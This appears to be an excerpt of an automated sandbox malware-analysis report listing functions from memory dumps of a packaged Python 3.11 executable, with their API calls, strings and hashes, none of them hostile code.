API ID: ErrorMode
String ID: (ssssIi)$unmounted
API String ID: 2340568224-3738632989
Opcode ID: e703148b4104a18077736411c53b7d987764021e2b097b77980d6e84312882a6
Instruction ID: 434db8fc7f8b9bf2fb272feb80a4cb64ce5533531baeefdf8974b54ab7287dbf
Opcode Fuzzy Hash: e703148b4104a18077736411c53b7d987764021e2b097b77980d6e84312882a6
Instruction Fuzzy Hash: 53115E62A09BC685EF20DF29A8083B96BA0FBA4BE4F444431CA4D46754DF3CE546C700

Function 00007FF8BA2462EF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BA246690: RtlPcToFileHeader.KERNEL32 ref: 00007FF8BA2466D4
Part of subcall function 00007FF8BA246690: RaiseException.KERNEL32 ref: 00007FF8BA24671A

RtlPcToFileHeader.KERNEL32 ref: 00007FF8BA24635F

Strings

Access violation - no RTTI data!, xrefs: 00007FF8BA2462EF
Bad dynamic_cast!, xrefs: 00007FF8BA246312

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: FileHeader$ExceptionRaise
String ID: Access violation - no RTTI data!$Bad dynamic_cast!
API String ID: 3685223789-3176238549
Opcode ID: 7bbd72394c3e749fc10370465baa4d9a755cb91736d17097c685b3404c0deaff
Instruction ID: 625ff82aa209dff45b47e21a6b54aeb4c576ae4b1c6422b15912aca15a360f27
Opcode Fuzzy Hash: 7bbd72394c3e749fc10370465baa4d9a755cb91736d17097c685b3404c0deaff
Instruction Fuzzy Hash: BD017161A29A8791EF40DB18E5511B86361FF40FD4F4050B2EF0E06669EF7CE548D700

Function 00007FF8B9F6EDAC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PyLong_AsLong.PYTHON311 ref: 00007FF8B9F6EE1B
PyErr_Format.PYTHON311 ref: 00007FF8B9F6EE3D

Strings

one character bytes, bytearray or integer expected, xrefs: 00007FF8B9F6EE33

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_FormatLongLong_
String ID: one character bytes, bytearray or integer expected
API String ID: 832222675-2748977362
Opcode ID: 4171aea13ba1fa0aee4d8e851ffe7b5e382af772fa60775af7b968a914772540
Instruction ID: 2a6473635eaa7b13ea23c7597610a5f4ffbf5be7b98bfdc0f23a49b745770445
Opcode Fuzzy Hash: 4171aea13ba1fa0aee4d8e851ffe7b5e382af772fa60775af7b968a914772540
Instruction Fuzzy Hash: 4C113D23A08BC385EB558F2DE5941792BA1EF5AFE6F18A031CB8D47351CE2CE4A4C301

Function 00007FF8B9F62DC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311(?,?,?,00007FF8B9F66C1D), ref: 00007FF8B9F67B85
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F67B9E

Strings

abstract class, xrefs: 00007FF8B9F67B7B

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocErr_String
String ID: abstract class
API String ID: 1259552197-1623945838
Opcode ID: 889cc83bd7e42d210c141f1a36b7b4f58b9fb1ebab554f935c723b1e3cc6fbc7
Instruction ID: 73399754d464911d4d8e379681cc9ccf8d85222a8905bda3ff562c0dd564ca3a
Opcode Fuzzy Hash: 889cc83bd7e42d210c141f1a36b7b4f58b9fb1ebab554f935c723b1e3cc6fbc7
Instruction Fuzzy Hash: 51112522A09B8682EA559F19E4543B927A4EF9ABF6F186134CB4D47395DF3CD444C340

Function 00007FF8BA246690 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF8BA2466D4
RaiseException.KERNEL32 ref: 00007FF8BA24671A

Strings

csm, xrefs: 00007FF8BA246707

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 51a2530866bc70b3fa6e7487cc130fe87b9602d28e5a22477376607ad08b6180
Instruction ID: 58c3695f7946c2b2eadff518806b82a6e71f9b345b6a23cfd1e3bb92f2e111a6
Opcode Fuzzy Hash: 51a2530866bc70b3fa6e7487cc130fe87b9602d28e5a22477376607ad08b6180
Instruction Fuzzy Hash: A2113A32A08B8282EB208F29E54026977A5FB88BC4F184271EF8D07B68DF3DD5558B40

Function 00007FF8B9F6A15C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6A185

Part of subcall function 00007FF8B9F6AA7C: PyErr_SetString.PYTHON311(?,?,?,?,00007FF8B9F6947D,?), ref: 00007FF8B9F6AABD

Strings

NULL pointer access, xrefs: 00007FF8B9F6A1A3
Pointer does not support item deletion, xrefs: 00007FF8B9F6A17B

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_String
String ID: NULL pointer access$Pointer does not support item deletion
API String ID: 1450464846-1262937747
Opcode ID: cc63e7bd2d2a3bc22265ebdaaeb10ee6e24a6e51b4ebc2f3b89706aefd929760
Instruction ID: 27555848f75128ddf47e4bd96589e05914428eb231fbd092c0121680eeeac60c
Opcode Fuzzy Hash: cc63e7bd2d2a3bc22265ebdaaeb10ee6e24a6e51b4ebc2f3b89706aefd929760
Instruction Fuzzy Hash: 18016961A08B8681EA44CF5AE8404B97764BF8ABE5B149136DF4D477A5CF3CD540C700

Function 00007FF8B9F6E98C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B9F6EA24: PyType_IsSubtype.PYTHON311(?,?,?,?,00007FF8B9F6E889), ref: 00007FF8B9F6EA31

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6E9C8

Part of subcall function 00007FF8B9F6AA7C: PyErr_SetString.PYTHON311(?,?,?,?,00007FF8B9F6947D,?), ref: 00007FF8B9F6AABD

Strings

not a ctype instance, xrefs: 00007FF8B9F6E9B7
can't delete attribute, xrefs: 00007FF8B9F6E9E0

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_String$SubtypeType_
String ID: can't delete attribute$not a ctype instance
API String ID: 3320257282-2740123057
Opcode ID: 18fbc3005ffdff5a035a76096331e82b7bdea77d6c35e831de142f80868fa9ec
Instruction ID: 48dddbb8112aac66719dc6060950480ad4fc5b5d8fa1f1aabaedc347c98c65fa
Opcode Fuzzy Hash: 18fbc3005ffdff5a035a76096331e82b7bdea77d6c35e831de142f80868fa9ec
Instruction Fuzzy Hash: F0113962A08F8181EB50CF2AE54006967A1FF48BF5B145132EF9D57BA8DF2CE561C700

Function 00007FF8B9F69638 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

PySequence_SetItem.PYTHON311 ref: 00007FF8B9F69677
PyErr_SetString.PYTHON311 ref: 00007FF8B9F696A3

Strings

args not a tuple?, xrefs: 00007FF8B9F69699

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_ItemSequence_String
String ID: args not a tuple?
API String ID: 138718260-274370407
Opcode ID: f981f7e703dfeb18ac4443360c7dfc39ae4566ed3aa42caf66e0419349738e14
Instruction ID: e0bdafe0fde352d3699ed9b2997e2ff738e8c394afdc2f90abcff65099f95dda
Opcode Fuzzy Hash: f981f7e703dfeb18ac4443360c7dfc39ae4566ed3aa42caf66e0419349738e14
Instruction Fuzzy Hash: 8B019E31A08F8285E6408F19E4400697B60FB45FF5F68A231DB6D577A6CF2DD4D1C300

Function 00007FF8B9F69414 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F69490

Strings

invalid index, xrefs: 00007FF8B9F69486
Array does not support item deletion, xrefs: 00007FF8B9F6942A

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_String
String ID: Array does not support item deletion$invalid index
API String ID: 1450464846-799983634
Opcode ID: 67e0225e1662b2c6de7c64aa0e1a7725335fd733c618b52c26417df970fd658a
Instruction ID: f439b9ca7988b7275dbc799423bfa6d95f4e4c0f561592bbc10159d9ba24ec00
Opcode Fuzzy Hash: 67e0225e1662b2c6de7c64aa0e1a7725335fd733c618b52c26417df970fd658a
Instruction Fuzzy Hash: 50014862A08FC681DA40DF5AE8508B82764FF95BE1F516172DB4E573A2DF3DE150C300

Function 00007FF8B9F64680 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311(?,?,?,00007FF8B9F61959), ref: 00007FF8B9F68EE9

Part of subcall function 00007FF8B9F63DC0: _PyObject_New.PYTHON311(?,?,?,?,00007FF8B9F646A2,?,?,?,00007FF8B9F61959), ref: 00007FF8B9F63DCB

_Py_Dealloc.PYTHON311(?,?,?,00007FF8B9F61959), ref: 00007FF8B9F68EF4

Strings

expected CData instance, xrefs: 00007FF8B9F68EDF

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: DeallocErr_Object_String
String ID: expected CData instance
API String ID: 3982460303-1581534645
Opcode ID: cb84d01ecd15a1eda4d8d1b175decd3e5ebb0d94a1c0848139c17e093e1ac344
Instruction ID: ae1bd516b893d0b856b0f4bdf21d1411e30b8d519dba8d713ff9711acff5cfe9
Opcode Fuzzy Hash: cb84d01ecd15a1eda4d8d1b175decd3e5ebb0d94a1c0848139c17e093e1ac344
Instruction Fuzzy Hash: 92014BA1A48B86C1FB549F6DE84003827A0AF59BEAF282434CB4E477A0DF3DE055C310

Function 00007FF8B90729C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 00007FF8B90729E6

Strings

(LLLLLL), xrefs: 00007FF8B9072A17
@, xrefs: 00007FF8B90729DE

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID: (LLLLLL)$@
API String ID: 1890195054-4274804333
Opcode ID: f6d853219341f3569f1d192fdd7bc0d9c3c772da8b40e051b4c7c30d58921684
Instruction ID: 03e630b533c34b3749f06485aa4f85c2d7dd91121d001f9f164ab851b14d5b08
Opcode Fuzzy Hash: f6d853219341f3569f1d192fdd7bc0d9c3c772da8b40e051b4c7c30d58921684
Instruction Fuzzy Hash: F101AD75A08BC582EF609F29F45536AB7A0FB99794F404436DB8D83759DF3CD11A8B00

Function 00007FF8B9F6B4F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyObject_GenericSetAttr.PYTHON311 ref: 00007FF8B9F6B510
_PyUnicode_EqualToASCIIString.PYTHON311 ref: 00007FF8B9F6B539

Strings

_fields_, xrefs: 00007FF8B9F6B52F

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: AttrEqualGenericObject_StringUnicode_
String ID: _fields_
API String ID: 947992268-3196300388
Opcode ID: c6dedb99678c499afd6badd1b017026620a4ab54dad84f9f25f416736ac5017a
Instruction ID: 1f59a7100c68ab966b3e6f9fd0745ea4c15ea6ce132554295c500626c06e103d
Opcode Fuzzy Hash: c6dedb99678c499afd6badd1b017026620a4ab54dad84f9f25f416736ac5017a
Instruction Fuzzy Hash: 47F0F416B1C7C241E7908F6EE94426A5651AF45FE3F58A130EB5E46798CF2CD891C700

Function 00007FF8B9F6B2A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FF8B9F6B2D3
_PyDict_SetItemId.PYTHON311 ref: 00007FF8B9F6B300

Strings

abstract class, xrefs: 00007FF8B9F6B2C9

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dict_Err_ItemString
String ID: abstract class
API String ID: 960913676-1623945838
Opcode ID: 152bc656983328e65481e0599e2526a4dd7c8e873d35052210cfab64f93eb631
Instruction ID: 1526b0dd1531689ca3abf27488437a81f26f86ac1531c993363dc172818d5b9a
Opcode Fuzzy Hash: 152bc656983328e65481e0599e2526a4dd7c8e873d35052210cfab64f93eb631
Instruction Fuzzy Hash: 08F0A410B0CB8680EA459FBEF89407813A0AF45BF6B186231DB1E463A5DE2CD455C300

Function 00007FF8B90C3858 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

_PyArg_NoPositional.PYTHON311 ref: 00007FF8B90C387C
_PyArg_NoKeywords.PYTHON311 ref: 00007FF8B90C3895

Strings

BZ2Decompressor, xrefs: 00007FF8B90C3875, 00007FF8B90C388E

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Arg_$KeywordsPositional
String ID: BZ2Decompressor
API String ID: 1300771297-1337346095
Opcode ID: 358a44a62b11731d470d0bbb96af668936168ddb6404ce11f0731b6ca31f1a24
Instruction ID: 8e7a13a25e7da37baac3bfeadf28ece4cd7544117d59f6e26c975a7f58fd7d57
Opcode Fuzzy Hash: 358a44a62b11731d470d0bbb96af668936168ddb6404ce11f0731b6ca31f1a24
Instruction Fuzzy Hash: 1FF06D21B2C7C342FE549F2AA984135A2B1AF44BD0B584230EB2D97A98DF1CE84E8700

Function 00007FF8B9F6C33C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

PySys_Audit.PYTHON311 ref: 00007FF8B9F6C360
PyBytes_FromStringAndSize.PYTHON311 ref: 00007FF8B9F6C387

Strings

ctypes.string_at, xrefs: 00007FF8B9F6C359

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: AuditBytes_FromSizeStringSys_
String ID: ctypes.string_at
API String ID: 1783689829-1910480597
Opcode ID: ad0ccf7f71804dd0e038b4a23bae58c0fa799e11b1e17efbe4fa3c6d44ce38ba
Instruction ID: e3a6e6372e402155a8935afc87d8a4333e18899fcc9b2c815d571b5c2a94d9f0
Opcode Fuzzy Hash: ad0ccf7f71804dd0e038b4a23bae58c0fa799e11b1e17efbe4fa3c6d44ce38ba
Instruction Fuzzy Hash: 69F03AA1B08AC281FB604F2AE9421782A519F55BF6F24A335CBBE827D4DE2CD184D204

Function 00007FF8B9F6C398 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

PySys_Audit.PYTHON311 ref: 00007FF8B9F6C3BC
PyUnicode_FromWideChar.PYTHON311 ref: 00007FF8B9F6C3E4

Strings

ctypes.wstring_at, xrefs: 00007FF8B9F6C3B5

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: AuditCharFromSys_Unicode_Wide
String ID: ctypes.wstring_at
API String ID: 614261396-2169766756
Opcode ID: c82b687e7251797f6e5b90717e26ccc800462a1ff5413f444b11774fb9a74885
Instruction ID: 180d70d14de3b6a3951f05234e41e97e2fabe105b5343bd5f75e93c063ffa1a9
Opcode Fuzzy Hash: c82b687e7251797f6e5b90717e26ccc800462a1ff5413f444b11774fb9a74885
Instruction Fuzzy Hash: 49F05E51B18A8291EE544F69F9520B96620AF08BF6B486335DB7E863E0EE6CE154C300

Function 00007FF8B9F62470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FF8B9F6248E

Strings

this type has no size, xrefs: 00007FF8B9F67308

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: FromLong_Ssize_t
String ID: this type has no size
API String ID: 168540982-982649334
Opcode ID: 6f14cdcc885872a6a1df23694bcedff85d145f2805944da9bd946685c2c050ae
Instruction ID: 096b5566669a33b36226922fa24d5bf5cf56f4f6cdb3773816132aa03eff705d
Opcode Fuzzy Hash: 6f14cdcc885872a6a1df23694bcedff85d145f2805944da9bd946685c2c050ae
Instruction Fuzzy Hash: 3CF0C091F19B8391FE549F6AD85107827609F89FE6F182031CF0E863AADE2CF484C350

Function 00007FF8BA24EE00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BA24F050: _IsNonwritableInCurrentImage.LIBCMT ref: 00007FF8BA24F110
Part of subcall function 00007FF8BA24F050: RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF8BA24EE15), ref: 00007FF8BA24F15F

Part of subcall function 00007FF8BA2469C0: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BA2425CE), ref: 00007FF8BA2469CE

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BA24EE3A

Strings

f, xrefs: 00007FF8BA24EE15
csm, xrefs: 00007FF8BA24EE1B

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: CurrentImageNonwritableUnwindabortterminate
String ID: csm$f
API String ID: 4189928240-629598281
Opcode ID: 41dc89b1ce5f079b65ce2aaee024a8a434243f0f20765bf48ba2e403aae6c5bc
Instruction ID: 101a6dd11fd41e53f98f1f0b17a6c374f9a1187447936664239e22e3b01d8fbf
Opcode Fuzzy Hash: 41dc89b1ce5f079b65ce2aaee024a8a434243f0f20765bf48ba2e403aae6c5bc
Instruction Fuzzy Hash: 2EE09B31D0835381FB206B65B28517D26A5EF49FE4F1891B4DF8806646CF7ED9949601

Function 00007FF8B9F6DDFC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

_PyUnicode_IsPrintable.PYTHON311(?,?,?,00007FF8B9F6D3BD), ref: 00007FF8B9F6DE12

Strings

\, xrefs: 00007FF8B9F6DE1C
', xrefs: 00007FF8B9F6DE21

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: PrintableUnicode_
String ID: '$\
API String ID: 1291510985-1366717710
Opcode ID: 8f056e593a683e8d15de34f78a6f47cb157d5505191b12e7d535d23602ebe9e6
Instruction ID: f2513007a45b34acf1eeda375f14e33c4f7538b518fe007d57dbdfdeed20f924
Opcode Fuzzy Hash: 8f056e593a683e8d15de34f78a6f47cb157d5505191b12e7d535d23602ebe9e6
